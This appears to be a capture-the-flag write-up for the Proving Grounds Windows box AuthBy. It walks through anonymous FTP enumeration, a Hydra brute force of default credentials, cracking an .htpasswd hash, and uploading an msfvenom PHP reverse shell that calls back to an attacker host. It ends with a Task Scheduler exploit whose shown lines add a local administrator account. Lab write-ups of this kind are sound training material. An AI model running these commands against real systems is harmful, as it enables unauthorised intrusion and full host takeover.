# AuthBy Writeup - Proving Grounds

> Intermediate Windows box where anonymous FTP enumeration and a brute-forced default admin password expose a cracked web credential, used to trigger an uploaded PHP reverse shell; a public Task Scheduler privilege escalation exploit then creates a local administrator account.

- **URL:** https://hackindex.io/writeups/authby
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Windows
- **Tags:** brute-force, default-credentials, hash-cracking, webshell, ftp, privilege-escalation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 5 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

AuthBy exposes anonymous FTP on a zFTPServer install, which leaks a hint about an admin account. Brute forcing that account with the default password `admin:admin` gives access to a web directory whose `.htpasswd` hash cracks to a working HTTP Basic Auth credential, used to trigger an uploaded PHP reverse shell. A public Windows Task Scheduler exploit then creates a new local administrator account.

## Reconnaissance

### Nmap

Scan all TCP ports.

```bash
sudo nmap -p- $TARGET_IP
# PORT     STATE SERVICE
# 21/tcp   open  ftp
# 242/tcp  open  direct
# 3145/tcp open  csi-lfap
# 3389/tcp open  ms-wbt-server
```

Follow up with version and script scanning on the open ports.

```bash
sudo nmap -A -sV -p 21,242,3145,3389 $TARGET_IP
# PORT     STATE SERVICE       VERSION
# 21/tcp   open  ftp           zFTPServer 6.0 build 2011-10-17
# | ftp-anon: Anonymous FTP login allowed (FTP code 230)
# 242/tcp  open  http          Apache httpd 2.2.21 ((Win32) PHP/5.3.8)
# | http-auth:
# |   HTTP/1.1 401 Authorization Required
# |_  Basic realm=Qui e nuce nuculeum esse volt, frangit nucem!
# 3145/tcp open  zftp-admin    zFTPServer admin
# 3389/tcp open  ssl/ms-wbt-server?
# | rdp-ntlm-info:
# |   Target_Name: LIVDA
# |_  NetBIOS_Computer_Name: LIVDA
# Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

zFTPServer allows anonymous login, and an Apache/PHP web server on port `242` sits behind HTTP Basic Auth. Log in to FTP as the anonymous user and enumerate.

### Anonymous FTP enumeration

Browse the FTP root.

```bash
ftp $TARGET_IP
# Name ($TARGET_IP:kali): anonymous
# 230 User logged in, proceed.
# ftp> dir
# dr-xr-xr-x 1 root root 512 Aug 13 04:13 accounts
# -r--r--r-- 1 root root 8736 Nov 09 2011 Settings.ini
```

The `accounts` directory is worth exploring.

```bash
cd accounts
dir
# dr-xr-xr-x 1 root root 512 Aug 13 04:13 backup
# -r--r--r-- 1 root root 764 Aug 13 04:13 acc[Offsec].uac
# -r--r--r-- 1 root root 1030 Dec 28 01:38 acc[anonymous].uac
# -r--r--r-- 1 root root 926 Aug 13 04:13 acc[admin].uac
```

A UAC account file confirms an `admin` account exists. Brute force its FTP password.

## Exploitation

### FTP admin brute force

Default/weak credentials are common on zFTPServer installs, so run Hydra against the admin account.

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt -e nsr -f ftp://$TARGET_IP
# [DATA] attacking ftp://$TARGET_IP:21/
# [21][ftp] host: $TARGET_IP   login: admin   password: admin
# 1 of 1 target successfully completed, 1 valid password found
```

The admin FTP password is the default `admin:admin`. Log back in with it and enumerate further.

```bash
ftp $TARGET_IP
# Name ($TARGET_IP:kali): admin
# 230 User logged in, proceed.
# ftp> dir
# -r--r--r-- 1 root root 76 Nov 08 2011 index.php
# -r--r--r-- 1 root root 45 Nov 08 2011 .htpasswd
# -r--r--r-- 1 root root 161 Nov 08 2011 .htaccess
```

This FTP path maps to a web directory served through Apache on port `242`. Download all three files for inspection.

```bash
get index.php
get .htpasswd
get .htaccess
```

`index.php` has nothing of value. `.htaccess` points Apache at the `.htpasswd` file for Basic Auth.

```bash
cat .htaccess
# AuthName "Qui e nuce nuculeum esse volt, frangit nucem!"
# AuthType Basic
# AuthUserFile C:\wamp\.htpasswd
#
# Require valid-user
```

`.htpasswd` holds a password hash for the `offsec` user, so cracking it gives valid HTTP credentials.

```bash
cat .htpasswd
# offsec:$1$<snip>
```

The `offsec` password hash is worth cracking offline.

### Password cracking

Run John against it with the rockyou wordlist.

```bash
john .htpasswd --wordlist=/usr/share/wordlists/rockyou.txt
# Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
# $OFFSEC_PASSWORD   (offsec)
# 1g 0:00:00:00 DONE
```

The `offsec` password cracks in seconds. The web server runs PHP, so a PHP reverse shell uploaded over FTP and triggered through Basic Auth should execute.

### PHP reverse shell via FTP upload

Generate the payload.

```bash
msfvenom -p php/meterpreter/reverse_tcp -f raw lhost=$ATTACKER_IP lport=$ATTACKER_PORT > pwn.php
# Payload size: 1113 bytes
```

Log back in to FTP as `admin` and upload it next to the protected PHP files.

```bash
ftp $TARGET_IP
# Name ($TARGET_IP:kali): admin
# ftp> put pwn.php
# 226 Closing data connection.
# 1113 bytes sent in 0.00 secs (14.9499 MB/s)
```

Start a Metasploit handler, then trigger the payload with the cracked `offsec` credential over HTTP Basic Auth.

```bash
msfconsole -q -x "use exploit/multi/handler; set payload php/meterpreter/reverse_tcp; set LHOST $ATTACKER_IP; set LPORT $ATTACKER_PORT; run"
# [*] Started reverse TCP handler on $ATTACKER_IP:$ATTACKER_PORT
```

```bash
curl --user offsec:$OFFSEC_PASSWORD $TARGET_IP:242/pwn.php
```

The handler catches a session.

```bash
getuid
# [*] Sending stage (38288 bytes) to $TARGET_IP
# [*] Meterpreter session 1 opened
# Server username: apache (0)
```

Shell as the `apache` service account. Check the OS build for a known local privilege escalation.

## Privilege Escalation

### Patch level

Run `sysinfo` to check hotfixes.

```bash
sysinfo
# Computer : LIVDA
# OS : Windows NT LIVDA 6.0 build 6001 (Windows Server 2008 Standard Edition Service Pack 1) i586
# Meterpreter : php/windows
```

An old, unpatched 2008 build. Searchsploit turns up a Windows Task Scheduler privilege escalation exploit.

### Task Scheduler privilege escalation

The exploit, EDB-15589, is a `.wsf` script that creates a new local administrator account when run.

```
a.WriteLine("net user /add test123 test123")
a.WriteLine("net localgroup administrators /add test123")
```

Upload it through the Meterpreter session and execute it with `cscript`.

```bash
upload 15589.wsf /Users/apache/Desktop/
execute -f cscript -a C:/Users/apache/Desktop/15589.wsf
# [*] uploaded : 15589.wsf -> /Users/apache/Desktop/15589.wsf
# Process 2868 created.
```

The exploit creates the `test123` account with a matching password and adds it to Administrators. Connect over RDP to confirm.

```bash
rdesktop $TARGET_IP -u test123 -p test123
# Autoselecting keyboard map 'en-us' from locale
# <snip>
# Do you trust this certificate (yes/no)? yes
# Connection established using SSL.
```

The session lands as a local administrator on the box.

Related

## References

- [Exploit-DB 15589](https://www.exploit-db.com/exploits/15589) - Windows Task Scheduler .wsf privilege escalation exploit used to create a local administrator.